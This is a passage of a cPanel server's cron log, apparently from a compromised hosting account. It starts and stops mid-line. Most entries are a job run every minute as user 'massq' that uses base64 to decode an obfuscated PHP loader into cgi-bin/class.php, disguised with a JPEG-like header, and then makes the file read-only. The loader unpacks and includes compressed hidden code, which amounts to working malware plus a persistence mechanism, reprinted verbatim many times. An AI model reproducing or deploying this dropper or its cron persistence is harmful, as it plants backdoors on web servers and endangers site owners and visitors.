GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:15:01 server CROND[25540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:15:01 server CROND[25541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:15:01 server CROND[25542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:16:01 server CROND[25651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:17:01 server CROND[25732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:18:01 server CROND[25803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:19:01 server CROND[25961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:20:01 server CROND[26020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:20:01 server CROND[26021]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:20:01 server CROND[26024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 19:20:01 server CROND[26025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:20:01 server CROND[26029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:21:01 server CROND[26149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:22:01 server CROND[26218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:23:01 server CROND[26280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:24:01 server CROND[26439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:25:01 server CROND[26508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:25:01 server CROND[26509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:25:01 server CROND[26510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:26:01 server CROND[26623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:27:01 server CROND[26687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:27:01 server CROND[26688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 19:28:01 server CROND[26755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9